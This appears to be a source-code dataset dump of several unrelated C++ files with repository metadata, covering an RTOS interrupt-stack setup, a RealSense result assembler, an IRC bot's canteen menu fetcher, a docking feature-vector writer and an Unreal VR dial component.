device/src/startup/initialise-interrupts-stack.cpp
micro-os-plus/architecture-cortexm-xpack
3d0aa622dbaea7571f5e1858a5ac2b05d71ca132
[ "MIT" ]
1
2021-02-15T09:28:46.000Z
2021-02-15T09:28:46.000Z
/* * This file is part of the µOS++ distribution. * (https://github.com/micro-os-plus) * Copyright (c) 2021 Liviu Ionescu. * * Permission is hereby granted, free of charge, to any person * obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without * restriction, including without limitation the rights to use, * copy, modify, merge, publish, distribute, sublicense, and/or * sell copies of the Software, and to permit persons to whom * the Software is furnished to do so, subject to the following * conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. */ #if (!(defined(__APPLE__) || defined(__linux__) || defined(__unix__))) \ || defined(__DOXYGEN__) // ---------------------------------------------------------------------------- #if defined(HAVE_MICRO_OS_PLUS_CONFIG_H) #include <micro-os-plus/config.h> #endif // HAVE_MICRO_OS_PLUS_CONFIG_H // ---------------------------------------------------------------------------- #if defined(MICRO_OS_PLUS_INCLUDE_RTOS) // ---------------------------------------------------------------------------- #include <micro-os-plus/startup/hooks.h> #include <micro-os-plus/rtos.h> // ---------------------------------------------------------------------------- using namespace micro_os_plus; // ---------------------------------------------------------------------------- void micro_os_plus_startup_initialize_interrupts_stack (void* stack_begin_address, size_t stack_size_bytes) { trace::printf ("%s(%p,%u)\n", __func__, stack_begin_address, stack_size_bytes); rtos::interrupts::stack ()->set ( static_cast<rtos::thread::stack::element_t*> (stack_begin_address), stack_size_bytes); } // ---------------------------------------------------------------------------- #endif // defined(MICRO_OS_PLUS_INCLUDE_RTOS) // ---------------------------------------------------------------------------- #endif // ! Unix // ----------------------------------------------------------------------------
36.863014
79
0.550725
micro-os-plus
cf06d904ae4fe7fc24f7022370e53b98a440b646
3,809
cpp
C++
src/object-recognition/object_recognition_result_assembler.cpp
01org/node-realsense
9c000380f61912415c2943a20f8caeb41d579f7b
[ "MIT" ]
12
2017-02-27T14:10:12.000Z
2017-09-25T08:02:07.000Z
src/object-recognition/object_recognition_result_assembler.cpp
01org/node-realsense
9c000380f61912415c2943a20f8caeb41d579f7b
[ "MIT" ]
209
2017-02-22T08:02:38.000Z
2017-09-27T09:26:24.000Z
src/object-recognition/object_recognition_result_assembler.cpp
01org/node-realsense
9c000380f61912415c2943a20f8caeb41d579f7b
[ "MIT" ]
18
2017-02-22T09:05:42.000Z
2017-09-21T07:52:40.000Z
// Copyright (c) 2016 Intel Corporation. All rights reserved. // Use of this source code is governed by a MIT-style license that can be // found in the LICENSE file. #include "object_recognition_result_assembler.h" #include "gen/nan__localization_info.h" #include "gen/nan__tracking_info.h" #include "gen/nan__recognition_info.h" class ResultAssemblerD { friend class ObjectRecognitionResultAssembler; static ObjectRecognitionLabelNameTranslator* translator; static std::string Translate(size_t id) { if (!translator) { return "<translator-not-found>"; } return translator->Translate(id); } }; ObjectRecognitionLabelNameTranslator* ResultAssemblerD::translator = nullptr; v8_value_t ObjectRecognitionResultAssembler::AssembleSingleRecognitionResult( const std::string& label, double probability) { return NanRecognitionInfo::NewInstance( new RecognitionInfo(label, probability)); } v8_value_t ObjectRecognitionResultAssembler::AssembleLocalizationResult( const std::string& label, double probability, const Rect2D& rect, const Point3D& pt) { LocalizationInfo* info = new LocalizationInfo(label, probability, rect, pt); return NanLocalizationInfo::NewInstance(info); } v8_value_t ObjectRecognitionResultAssembler::AssembleTrackingResult( const Rect2D& roi, const Point3D& object_center) { return NanTrackingInfo::NewInstance( new TrackingInfo(roi, object_center)); } v8_value_t ObjectRecognitionResultAssembler::AssembleSingleRecognitionResult( const recognition_data_t* data, size_t data_size) { ArrayHelper array_generator; for (size_t i = 0; i < data_size; ++i) { std::string label = ResultAssemblerD::Translate(data[i].label); auto probability = data[i].probability; RecognitionInfo* info = new RecognitionInfo(label, probability); array_generator.Set(i, NanRecognitionInfo::NewInstance(info)); } return static_cast<v8_array_t>(array_generator); } v8_value_t ObjectRecognitionResultAssembler::AssembleLocalizationResult( const localization_data_t* data, size_t data_size) { ArrayHelper array_generator; for (size_t i = 0; i < data_size; ++i) { std::string label = ResultAssemblerD::Translate(data[i].label); auto probability = data[i].probability; Rect2D roi(data[i].roi.x, data[i].roi.y, data[i].roi.width, data[i].roi.height); Point3D object_center(data[i].object_center.coordinates.x, data[i].object_center.coordinates.y, data[i].object_center.coordinates.z); LocalizationInfo* info = new LocalizationInfo(label, probability, roi, object_center); array_generator.Set(i, NanLocalizationInfo::NewInstance(info)); } return static_cast<v8_array_t>(array_generator); } v8_value_t ObjectRecognitionResultAssembler::AssembleTrackingResult( const tracking_data_t* data, size_t data_size) { ArrayHelper array_generator; for (size_t i = 0; i < data_size; ++i) { Rect2D roi(data[i].roi.x, data[i].roi.y, data[i].roi.width, data[i].roi.height); Point3D object_center(data[i].object_center.coordinates.x, data[i].object_center.coordinates.y, data[i].object_center.coordinates.z); array_generator.Set(i, NanTrackingInfo::NewInstance(new TrackingInfo(roi, object_center))); } return static_cast<v8_array_t>(array_generator); } void ObjectRecognitionResultAssembler::SetLabelNameTranslator( ObjectRecognitionLabelNameTranslator* translator) { ResultAssemblerD::translator = translator; } ObjectRecognitionLabelNameTranslator* ObjectRecognitionResultAssembler::GetLabelNameTranslator() { return ResultAssemblerD::translator; }
36.980583
78
0.728013
01org
cf0a164c35b7feaf4045eff4eacae23095ce71db
9,338
cpp
C++
libkeksbot/mensa.cpp
cookiemon/Keksbot
d7f6adddf5d91e9e49a4a231e74b9a962d8af326
[ "BSD-2-Clause" ]
2
2015-01-17T00:18:29.000Z
2015-09-16T17:26:03.000Z
libkeksbot/mensa.cpp
cookiemon/Keksbot
d7f6adddf5d91e9e49a4a231e74b9a962d8af326
[ "BSD-2-Clause" ]
11
2015-01-30T23:24:49.000Z
2017-12-10T15:48:23.000Z
libkeksbot/mensa.cpp
cookiemon/Keksbot
d7f6adddf5d91e9e49a4a231e74b9a962d8af326
[ "BSD-2-Clause" ]
4
2016-02-29T17:45:51.000Z
2017-12-08T18:03:02.000Z
#include "mensa.h" #include "logging.h" #include "server.h" #include <curl/curl.h> #include <rapidjson/document.h> #include <chrono> using namespace std::literals::chrono_literals; void RoundToDay(struct tm* time) { assert(time != NULL); time->tm_sec = 0; time->tm_min = 0; time->tm_hour = 0; } static const char* const weekday[] = {"So", "Mo", "Di", "Mi", "Do", "Fr", "Sa"}; void WriteTime(std::ostream& out, time_t time) { struct tm localnow; localtime_r(&time, &localnow); out << weekday[localnow.tm_wday] << ". " << localnow.tm_mday << "." << (localnow.tm_mon + 1) << "." << (localnow.tm_year % 100); } Mensa::Mensa(const Configs& cfg) : multiHandle(curl_multi_init()), updating(false) { cfg.GetValue("menuurl", menuurl); cfg.GetValue("metaurl", metaurl); cfg.GetValue("login", login); cfg.GetValue("canteen", canteen); cfg.GetValue("ad", ad); std::string rawlines; cfg.GetValue("lines", rawlines); std::istringstream sstr(rawlines); std::string newline; while(std::getline(sstr, newline, ',')) lines.insert(newline); } Mensa::~Mensa() { curl_multi_cleanup(multiHandle); } void Mensa::OnEvent(Server& srv, const std::string& event, const std::string& origin, const std::vector<std::string>& params) { if(params.size() == 0) throw std::logic_error("OnEvent should only be called for SENDMSG"); int offset = 0; if(params.size() > 1 && !params[1].empty()) { std::stringstream sstr(params[1]); sstr >> offset; if(sstr.fail()) { srv.SendMsg(params[0], "Error: " + params[1] + " is not a number"); return; } } auto now = std::chrono::steady_clock::now(); // No error handling, I don't care about overflow in time_t if(now - lastupdate >= 1min) { originBuf.insert(QueuedResponse(&srv, origin, params[0], offset)); if(!updating) QueryMenuUpdate(); } else SendMenu(srv, origin, params[0], offset); } void Mensa::AddSelectDescriptors(fd_set& inSet, fd_set& outSet, fd_set& excSet, int& maxFD) { int max = 0; curl_multi_fdset(multiHandle, &inSet, &outSet, &excSet, &max); maxFD = std::max(maxFD, max); } bool Mensa::UpdateMeta(rapidjson::Value& val) { if(!val.IsObject() || val.IsNull()) return true; rapidjson::Value::ConstMemberIterator canteenjs = val.FindMember(canteen.c_str()); if(canteenjs == val.MemberEnd() || !canteenjs->value.IsObject() || canteenjs->value.IsNull()) return true; rapidjson::Value::ConstMemberIterator linesjs=canteenjs->value.FindMember("lines"); if(linesjs == canteenjs->value.MemberEnd() || !linesjs->value.IsObject() || linesjs->value.IsNull()) return true; for(rapidjson::Value::ConstMemberIterator i = linesjs->value.MemberBegin(); i != linesjs->value.MemberEnd(); ++i) { if(!i->value.IsString() || !i->name.IsString()) continue; lineMap[i->name.GetString()] = i->value.GetString(); Log(LOG_DEBUG, "Updated line name for %s(%s)", i->name.GetString(), i->value.GetString()); } return false; } bool Mensa::UpdateMenu(rapidjson::Value& val) { if(!val.IsObject() || val.IsNull()) return true; menu = val; return false; } void Mensa::SelectDescriptors(fd_set& inSet, fd_set& outSet, fd_set& excSet) { int running; curl_multi_perform(multiHandle, &running); struct CURLMsg* msg; int msgnum; bool hasfinished = false; while((msg = curl_multi_info_read(multiHandle, &msgnum))) { hasfinished = true; CURL* handle = msg->easy_handle; Log(LOG_DEBUG, "Result of curl request: %ld", static_cast<long>(msg->data.result)); curl_multi_remove_handle(multiHandle, handle); curl_easy_cleanup(handle); } if(hasfinished && !running) { bool err = false; doc.Parse(metabuf.c_str()); if(doc.IsObject() && doc.HasMember("mensa")) err = UpdateMeta(doc["mensa"]); doc.Parse(menubuf.c_str()); if(doc.IsObject() && doc.HasMember(canteen.c_str())) err = err || UpdateMenu(doc[canteen.c_str()]); if(err) { for(std::set<QueuedResponse>::iterator it = originBuf.begin(); it != originBuf.end(); ++it) it->srv->SendMsg(it->channel, "Error while receiving json"); } else { for(std::set<QueuedResponse>::iterator it = originBuf.begin(); it != originBuf.end(); ++it) SendMenu(*it->srv, it->origin, it->channel, it->offset); } originBuf.clear(); lastupdate = std::chrono::steady_clock::now(); updating = false; } } void Mensa::RegisterCurlHandle(const std::string& url, std::string& buffer) { buffer = std::string(); CURL* handle = curl_easy_init(); curl_easy_setopt(handle, CURLOPT_URL, url.c_str()); curl_easy_setopt(handle, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(handle, CURLOPT_WRITEFUNCTION, &Mensa::PushData); curl_easy_setopt(handle, CURLOPT_WRITEDATA, &buffer); curl_easy_setopt(handle, CURLOPT_USERAGENT, "$USERAGENTWITHMOZILLAGECKOSAFARIANDSHIT"); curl_easy_setopt(handle, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_easy_setopt(handle, CURLOPT_USERPWD, login.c_str()); curl_multi_add_handle(multiHandle, handle); Log(LOG_DEBUG, "Requested url %s", url.c_str()); } void Mensa::QueryMenuUpdate() { updating = true; RegisterCurlHandle(menuurl, menubuf); RegisterCurlHandle(metaurl, metabuf); } size_t Mensa::PushData(char* data, size_t size, size_t nmemb, void* userdata) { std::string* buffer = static_cast<std::string*>(userdata); if(buffer != NULL) buffer->append(data, size*nmemb); return nmemb; } void Mensa::SendMenu(Server& srv, const std::string& origin, const std::string& channel, int offset) { time_t now = time(NULL); struct tm localnow; localtime_r(&now, &localnow); RoundToDay(&localnow); if(offset) localnow.tm_mday += offset; else if(localnow.tm_wday % 6 == 0) localnow.tm_mday += localnow.tm_wday?2:1; now = mktime(&localnow); std::stringstream sstr; sstr << now; std::string strnow(sstr.str()); if(!menu.HasMember(strnow.c_str())) { std::stringstream errmsg; errmsg << "Keine Daten vorhanden für "; WriteTime(errmsg, now); srv.SendMsg(channel, errmsg.str()); return; } rapidjson::Value& menunow = menu[strnow.c_str()]; if(!menunow.IsObject() || menunow.IsNull()) return; std::stringstream menumsg; menumsg << "Mensaeinheitsbrei am "; WriteTime(menumsg, now); srv.SendMsg(channel, menumsg.str()); for (rapidjson::Value::ConstMemberIterator itr = menunow.MemberBegin(); itr != menunow.MemberEnd(); ++itr) { if(!itr->name.IsString()) continue; std::string name = itr->name.GetString(); if(lines.count(name) != 0) SendLine(srv, channel, name, itr->value); else SendLineClosed(srv, channel, name, itr->value); } if (!ad.empty()) { auto additionalVariables = std::multimap<std::string, std::string>{ {"USER", origin}, {"CHAN", channel}, {"NICK", srv.GetNick()}, }; srv.SendMsg(channel, RandomReplace(ad, additionalVariables)); } } void Mensa::SendLineClosed(Server& srv, const std::string& origin, const std::string& line, const rapidjson::Value& value) { if(!value.IsArray() || value.Size() != 1) return; const rapidjson::Value& data = value[0]; if(!data.IsObject() || data.IsNull()) return; rapidjson::Value::ConstMemberIterator itr = data.FindMember("closing_end"); if(itr == data.MemberEnd() || !itr->value.IsInt64()) return; std::stringstream sstr; std::string linename = lineMap[line]; if(linename.empty()) linename = line; sstr << linename << ": Geschlossen bis "; WriteTime(sstr, itr->value.GetInt64()); itr = data.FindMember("closing_text"); if(itr != data.MemberEnd() && itr->value.IsString()) sstr << " (" << itr->value.GetString() << ")"; srv.SendMsg(origin, sstr.str()); } void Mensa::SendLine(Server& srv, const std::string& origin, const std::string& line, const rapidjson::Value& value) { if(!value.IsArray()) return; if(value.Size() == 0) return; std::string linename = lineMap[line]; if(linename.empty()) linename = line; /* Check first array element for special values */ const rapidjson::Value& firstElem = value[0]; if(firstElem.IsObject() && !firstElem.IsNull()) { if(firstElem.HasMember("closing_end")) { SendLineClosed(srv, origin, line, value); return; } rapidjson::Value::ConstMemberIterator itr = firstElem.FindMember("nodata"); if(itr != firstElem.MemberEnd() && itr->value.IsBool() && itr->value.GetBool()) { srv.SendMsg(origin, linename + ": Keine Daten vorhanden"); return; } } std::stringstream strstr; strstr.setf(std::ios_base::fixed); strstr.precision(2); strstr << linename << ": "; for(rapidjson::Value::ConstValueIterator it = value.Begin(); it != value.End(); ++it) { if(!it->IsObject() || it->IsNull()) continue; rapidjson::Value::ConstMemberIterator meal = it->FindMember("meal"); rapidjson::Value::ConstMemberIterator price_1 = it->FindMember("price_1"); if(meal == it->MemberEnd() || !meal->value.IsString() || price_1 == it->MemberEnd() || !price_1->value.IsNumber()) continue; double price = price_1->value.GetDouble(); // threshold if(price < 1.3) continue; strstr << meal->value.GetString(); rapidjson::Value::ConstMemberIterator dish = it->FindMember("dish"); if(dish != it->MemberEnd() && dish->value.IsString() && dish->value.GetStringLength() != 0) strstr << " " << dish->value.GetString(); strstr << " (" << price << "), "; } std::string str = strstr.str(); srv.SendMsg(origin, str.substr(0, str.size()-2)); }
26.083799
100
0.674663
cookiemon
cf0e5ff43fd9a008725b37eb6795cdf5dff56d87
4,153
cpp
C++
antibody_interface_pred_train/src/DockingMethods/CPDpair.cpp
sebastiandaberdaku/AntibodyInterfacePrediction
4d31f57f7cdac1fe68cfb4f3448f6e3129ae2838
[ "BSD-3-Clause" ]
10
2017-10-11T16:05:35.000Z
2021-10-01T14:43:10.000Z
interface_descriptors_test/src/DockingMethods/CPDpair.cpp
sebastiandaberdaku/PPIprediction
e715cc8516725b4869361e92eeb71e81241bd0a6
[ "BSD-3-Clause" ]
null
null
null
interface_descriptors_test/src/DockingMethods/CPDpair.cpp
sebastiandaberdaku/PPIprediction
e715cc8516725b4869361e92eeb71e81241bd0a6
[ "BSD-3-Clause" ]
3
2019-01-22T08:55:07.000Z
2021-01-05T02:19:03.000Z
/* * CPDpair.cpp * * Created on: 25/feb/2015 * Author: sebastian */ #include "CPDpair.h" #include <fstream> /** * Constructors */ CPDpair::CPDpair() : cpd1(NULL), cpd2(NULL), score_surface(0), score_electrostatics(0), score_combined(0) { } CPDpair::CPDpair(CPDpair const & p) : cpd1(p.cpd1), cpd2(p.cpd2), score_surface(p.score_surface), score_electrostatics(p.score_electrostatics), score_combined(p.score_combined) { } CPDpair::CPDpair(CompactPatchDescriptor const & cpd1, CompactPatchDescriptor const & cpd2): cpd1(&cpd1), cpd2(&cpd2) { // double ds = distanceEuclidean(cpd1.surfaceI, cpd2.surfaceI); // double de = sqrt(s_distanceEuclidean(cpd1.potentials_posI, cpd2.potentials_negI) // + s_distanceEuclidean(cpd1.potentials_negI, cpd2.potentials_posI)); // // score_surface = 1.0 / (1.0 + ds); // score_electrostatics = 1.0 / (1.0 + de); // score_combined = 0.0; } /** * Copy assignment operator */ CPDpair & CPDpair::operator=(CPDpair const & p) { if (this != &p) { this->cpd1 = p.cpd1; this->cpd2 = p.cpd2; this->score_surface = p.score_surface; this->score_electrostatics = p.score_electrostatics; this->score_combined = p.score_combined; } return *this; } ostream & operator<<(ostream &os, CPDpair const & p) { // os << "index 1: " << p.cpd1->ID << " index 2: " << p.cpd2->ID // << " score_surface: " << p.score_surface // << " score_electrostatics: " << p.score_electrostatics << "\n"; // return os; os.precision(std::numeric_limits<double>::digits10 + 2); size_t c = 0; // for (auto const & d : p.cpd1->surfaceI) // os << "\t" << ++c << ":" << d; // for (auto const & d : p.cpd1->potentials_posI) // os << "\t" << ++c << ":" << d; // for (auto const & d : p.cpd1->potentials_negI) // os << "\t" << ++c << ":" << d; // for (auto const & d : p.cpd1->hydrophobicity_posI) // os << "\t" << ++c << ":" << d; // for (auto const & d : p.cpd1->hydrophobicity_negI) // os << "\t" << ++c << ":" << d; for (auto const & d : p.cpd1->BLAM930101_posI) os << "\t" << ++c << ":" << d; for (auto const & d : p.cpd1->BLAM930101_negI) os << "\t" << ++c << ":" << d; for (auto const & d : p.cpd1->BIOV880101_posI) os << "\t" << ++c << ":" << d; for (auto const & d : p.cpd1->BIOV880101_negI) os << "\t" << ++c << ":" << d; for (auto const & d : p.cpd1->MAXF760101_I) os << "\t" << ++c << ":" << d; for (auto const & d : p.cpd1->TSAJ990101_I) os << "\t" << ++c << ":" << d; for (auto const & d : p.cpd1->NAKH920108_I) os << "\t" << ++c << ":" << d; for (auto const & d : p.cpd1->CEDJ970104_I) os << "\t" << ++c << ":" << d; for (auto const & d : p.cpd1->LIFS790101_I) os << "\t" << ++c << ":" << d; for (auto const & d : p.cpd1->MIYS990104_posI) os << "\t" << ++c << ":" << d; for (auto const & d : p.cpd1->MIYS990104_negI) os << "\t" << ++c << ":" << d; // for (auto const & d : p.cpd2->surfaceI) // os << "\t" << ++c << ":" << d; // for (auto const & d : p.cpd2->potentials_posI) // os << "\t" << ++c << ":" << d; // for (auto const & d : p.cpd2->potentials_negI) // os << "\t" << ++c << ":" << d; // for (auto const & d : p.cpd2->hydrophobicity_posI) // os << "\t" << ++c << ":" << d; // for (auto const & d : p.cpd2->hydrophobicity_negI) // os << "\t" << ++c << ":" << d; for (auto const & d : p.cpd2->BLAM930101_posI) os << "\t" << ++c << ":" << d; for (auto const & d : p.cpd2->BLAM930101_negI) os << "\t" << ++c << ":" << d; for (auto const & d : p.cpd2->BIOV880101_posI) os << "\t" << ++c << ":" << d; for (auto const & d : p.cpd2->BIOV880101_negI) os << "\t" << ++c << ":" << d; for (auto const & d : p.cpd2->MAXF760101_I) os << "\t" << ++c << ":" << d; for (auto const & d : p.cpd2->TSAJ990101_I) os << "\t" << ++c << ":" << d; for (auto const & d : p.cpd2->NAKH920108_I) os << "\t" << ++c << ":" << d; for (auto const & d : p.cpd2->CEDJ970104_I) os << "\t" << ++c << ":" << d; for (auto const & d : p.cpd2->LIFS790101_I) os << "\t" << ++c << ":" << d; for (auto const & d : p.cpd2->MIYS990104_posI) os << "\t" << ++c << ":" << d; for (auto const & d : p.cpd2->MIYS990104_negI) os << "\t" << ++c << ":" << d; return os; }
33.764228
91
0.537443
sebastiandaberdaku
cf0f0991278a03d72c0aae012c071a3f972c1180
8,754
cpp
C++
Plugins/VRExpansionPlugin/VRExpansionPlugin/Source/VRExpansionPlugin/Private/Interactibles/VRDialComponent.cpp
mrkriv/VRShooter
3ff6aa1cc7bfe4748c4052b50ad711266179c858
[ "Apache-2.0" ]
1
2020-05-20T20:53:01.000Z
2020-05-20T20:53:01.000Z
Plugins/VRExpansionPlugin/VRExpansionPlugin/Source/VRExpansionPlugin/Private/Interactibles/VRDialComponent.cpp
mrkriv/VRShooter
3ff6aa1cc7bfe4748c4052b50ad711266179c858
[ "Apache-2.0" ]
null
null
null
Plugins/VRExpansionPlugin/VRExpansionPlugin/Source/VRExpansionPlugin/Private/Interactibles/VRDialComponent.cpp
mrkriv/VRShooter
3ff6aa1cc7bfe4748c4052b50ad711266179c858
[ "Apache-2.0" ]
null
null
null
// Copyright 1998-2016 Epic Games, Inc. All Rights Reserved. #include "VRDialComponent.h" #include "Net/UnrealNetwork.h" //============================================================================= UVRDialComponent::UVRDialComponent(const FObjectInitializer& ObjectInitializer) : Super(ObjectInitializer) { this->bGenerateOverlapEvents = true; this->PrimaryComponentTick.bStartWithTickEnabled = false; PrimaryComponentTick.bCanEverTick = true; bRepGameplayTags = false; bReplicateMovement = false; DialRotationAxis = EVRInteractibleAxis::Axis_Z; InteractorRotationAxis = EVRInteractibleAxis::Axis_X; bDialUsesAngleSnap = false; SnapAngleThreshold = 0.0f; SnapAngleIncrement = 45.0f; LastSnapAngle = 0.0f; RotationScaler = 1.0f; ClockwiseMaximumDialAngle = 180.0f; CClockwiseMaximumDialAngle = 180.0f; bDenyGripping = false; GripPriority = 1; MovementReplicationSetting = EGripMovementReplicationSettings::ForceClientSideMovement; BreakDistance = 100.0f; } //============================================================================= UVRDialComponent::~UVRDialComponent() { } void UVRDialComponent::GetLifetimeReplicatedProps(TArray< class FLifetimeProperty > & OutLifetimeProps) const { Super::GetLifetimeReplicatedProps(OutLifetimeProps); DOREPLIFETIME(UVRDialComponent, bRepGameplayTags); DOREPLIFETIME(UVRDialComponent, bReplicateMovement); DOREPLIFETIME_CONDITION(UVRDialComponent, GameplayTags, COND_Custom); } void UVRDialComponent::PreReplication(IRepChangedPropertyTracker & ChangedPropertyTracker) { Super::PreReplication(ChangedPropertyTracker); // Don't replicate if set to not do it DOREPLIFETIME_ACTIVE_OVERRIDE(UVRDialComponent, GameplayTags, bRepGameplayTags); DOREPLIFETIME_ACTIVE_OVERRIDE(USceneComponent, RelativeLocation, bReplicateMovement); DOREPLIFETIME_ACTIVE_OVERRIDE(USceneComponent, RelativeRotation, bReplicateMovement); DOREPLIFETIME_ACTIVE_OVERRIDE(USceneComponent, RelativeScale3D, bReplicateMovement); } void UVRDialComponent::BeginPlay() { // Call the base class Super::BeginPlay(); ResetInitialDialLocation(); } void UVRDialComponent::TickComponent(float DeltaTime, enum ELevelTick TickType, FActorComponentTickFunction *ThisTickFunction) { } void UVRDialComponent::TickGrip_Implementation(UGripMotionControllerComponent * GrippingController, const FBPActorGripInformation & GripInformation, float DeltaTime) { // Handle the auto drop if (GrippingController->HasGripAuthority(GripInformation) && FVector::DistSquared(InitialDropLocation, this->GetComponentTransform().InverseTransformPosition(GrippingController->GetComponentLocation())) >= FMath::Square(BreakDistance)) { GrippingController->DropObjectByInterface(this); return; } FRotator curRotation = GrippingController->GetComponentRotation(); float DeltaRot = RotationScaler * GetAxisValue((curRotation - LastRotation).GetNormalized(), InteractorRotationAxis); AddDialAngle(DeltaRot, true); LastRotation = curRotation; } void UVRDialComponent::OnGrip_Implementation(UGripMotionControllerComponent * GrippingController, const FBPActorGripInformation & GripInformation) { FTransform CurrentRelativeTransform = InitialRelativeTransform * UVRInteractibleFunctionLibrary::Interactible_GetCurrentParentTransform(this); // This lets me use the correct original location over the network without changes FTransform ReversedRelativeTransform = FTransform(GripInformation.RelativeTransform.ToInverseMatrixWithScale()); FTransform RelativeToGripTransform = ReversedRelativeTransform * this->GetComponentTransform(); InitialInteractorLocation = CurrentRelativeTransform.InverseTransformPosition(RelativeToGripTransform.GetTranslation()); InitialDropLocation = ReversedRelativeTransform.GetTranslation(); //InitialInteractorLocation = this->GetComponentTransform().InverseTransformPosition(RelativeToGripTransform.GetTranslation()); // Need to rotate this by original hand to dial facing eventually LastRotation = RelativeToGripTransform.GetRotation().Rotator(); // Forcing into world space now so that initial can be correct over the network this->SetComponentTickEnabled(true); } void UVRDialComponent::OnGripRelease_Implementation(UGripMotionControllerComponent * ReleasingController, const FBPActorGripInformation & GripInformation) { if (bDialUsesAngleSnap && FMath::Abs(FMath::Fmod(CurRotBackEnd, SnapAngleIncrement)) <= FMath::Min(SnapAngleIncrement, SnapAngleThreshold)) { this->SetRelativeRotation((FTransform(SetAxisValue(FMath::GridSnap(CurRotBackEnd, SnapAngleIncrement), FRotator::ZeroRotator, DialRotationAxis)) * InitialRelativeTransform).Rotator()); CurRotBackEnd = FMath::GridSnap(CurRotBackEnd, SnapAngleIncrement); CurrentDialAngle = FRotator::ClampAxis(FMath::RoundToFloat(CurRotBackEnd)); } this->SetComponentTickEnabled(false); } void UVRDialComponent::OnChildGrip_Implementation(UGripMotionControllerComponent * GrippingController, const FBPActorGripInformation & GripInformation) {} void UVRDialComponent::OnChildGripRelease_Implementation(UGripMotionControllerComponent * ReleasingController, const FBPActorGripInformation & GripInformation) {} void UVRDialComponent::OnSecondaryGrip_Implementation(USceneComponent * SecondaryGripComponent, const FBPActorGripInformation & GripInformation) {} void UVRDialComponent::OnSecondaryGripRelease_Implementation(USceneComponent * ReleasingSecondaryGripComponent, const FBPActorGripInformation & GripInformation) {} void UVRDialComponent::OnUsed_Implementation() {} void UVRDialComponent::OnEndUsed_Implementation() {} void UVRDialComponent::OnSecondaryUsed_Implementation() {} void UVRDialComponent::OnEndSecondaryUsed_Implementation() {} void UVRDialComponent::OnInput_Implementation(FKey Key, EInputEvent KeyEvent) {} bool UVRDialComponent::DenyGripping_Implementation() { return bDenyGripping; } EGripInterfaceTeleportBehavior UVRDialComponent::TeleportBehavior_Implementation() { return EGripInterfaceTeleportBehavior::DropOnTeleport; } bool UVRDialComponent::SimulateOnDrop_Implementation() { return false; } /*EGripCollisionType UVRDialComponent::SlotGripType_Implementation() { return EGripCollisionType::CustomGrip; } EGripCollisionType UVRDialComponent::FreeGripType_Implementation() { return EGripCollisionType::CustomGrip; }*/ EGripCollisionType UVRDialComponent::GetPrimaryGripType_Implementation(bool bIsSlot) { return EGripCollisionType::CustomGrip; } ESecondaryGripType UVRDialComponent::SecondaryGripType_Implementation() { return ESecondaryGripType::SG_None; } EGripMovementReplicationSettings UVRDialComponent::GripMovementReplicationType_Implementation() { return MovementReplicationSetting; } EGripLateUpdateSettings UVRDialComponent::GripLateUpdateSetting_Implementation() { return EGripLateUpdateSettings::LateUpdatesAlwaysOff; } /*float UVRDialComponent::GripStiffness_Implementation() { return 1500.0f; } float UVRDialComponent::GripDamping_Implementation() { return 200.0f; }*/ void UVRDialComponent::GetGripStiffnessAndDamping_Implementation(float &GripStiffnessOut, float &GripDampingOut) { GripStiffnessOut = 0.0f; GripDampingOut = 0.0f; } FBPAdvGripSettings UVRDialComponent::AdvancedGripSettings_Implementation() { return FBPAdvGripSettings(GripPriority); } float UVRDialComponent::GripBreakDistance_Implementation() { return BreakDistance; } /*void UVRDialComponent::ClosestSecondarySlotInRange_Implementation(FVector WorldLocation, bool & bHadSlotInRange, FTransform & SlotWorldTransform, UGripMotionControllerComponent * CallingController, FName OverridePrefix) { bHadSlotInRange = false; } void UVRDialComponent::ClosestPrimarySlotInRange_Implementation(FVector WorldLocation, bool & bHadSlotInRange, FTransform & SlotWorldTransform, UGripMotionControllerComponent * CallingController, FName OverridePrefix) { bHadSlotInRange = false; }*/ void UVRDialComponent::ClosestGripSlotInRange_Implementation(FVector WorldLocation, bool bSecondarySlot, bool & bHadSlotInRange, FTransform & SlotWorldTransform, UGripMotionControllerComponent * CallingController, FName OverridePrefix) { bHadSlotInRange = false; } bool UVRDialComponent::IsInteractible_Implementation() { return false; } void UVRDialComponent::IsHeld_Implementation(UGripMotionControllerComponent *& CurHoldingController, bool & bCurIsHeld) { CurHoldingController = HoldingController; bCurIsHeld = bIsHeld; } void UVRDialComponent::SetHeld_Implementation(UGripMotionControllerComponent * NewHoldingController, bool bNewIsHeld) { bIsHeld = bNewIsHeld; if (bIsHeld) HoldingController = NewHoldingController; else HoldingController = nullptr; } FBPInteractionSettings UVRDialComponent::GetInteractionSettings_Implementation() { return FBPInteractionSettings(); }
35.730612
236
0.82111
mrkriv
cf101bd843476de0e311d28ff09d3ef9cca483f0
254
cpp
C++
TouchGFX/gui/src/mainscreen_screen/mainScreenView.cpp
xlord13/vescUserInterface
ff26bc1245ec35cb545042fe01ce3111c92ef80f
[ "MIT" ]
null
null
null
TouchGFX/gui/src/mainscreen_screen/mainScreenView.cpp
xlord13/vescUserInterface
ff26bc1245ec35cb545042fe01ce3111c92ef80f
[ "MIT" ]
null
null
null
TouchGFX/gui/src/mainscreen_screen/mainScreenView.cpp
xlord13/vescUserInterface
ff26bc1245ec35cb545042fe01ce3111c92ef80f
[ "MIT" ]
null
null
null
#include <gui/mainscreen_screen/mainScreenView.hpp> mainScreenView::mainScreenView() { } void mainScreenView::setupScreen() { mainScreenViewBase::setupScreen(); } void mainScreenView::tearDownScreen() { mainScreenViewBase::tearDownScreen(); }
15.875
51
0.76378
xlord13
cf10ef64377dbdf3d4f1bf31fdd15e807684e71a
9,555
hpp
C++
grammar/src/noun.hpp
Agapanthus/grammar
41f14c761174d8518e206b4c78fc4ddffd429d74
[ "MIT" ]
null
null
null
grammar/src/noun.hpp
Agapanthus/grammar
41f14c761174d8518e206b4c78fc4ddffd429d74
[ "MIT" ]
null
null
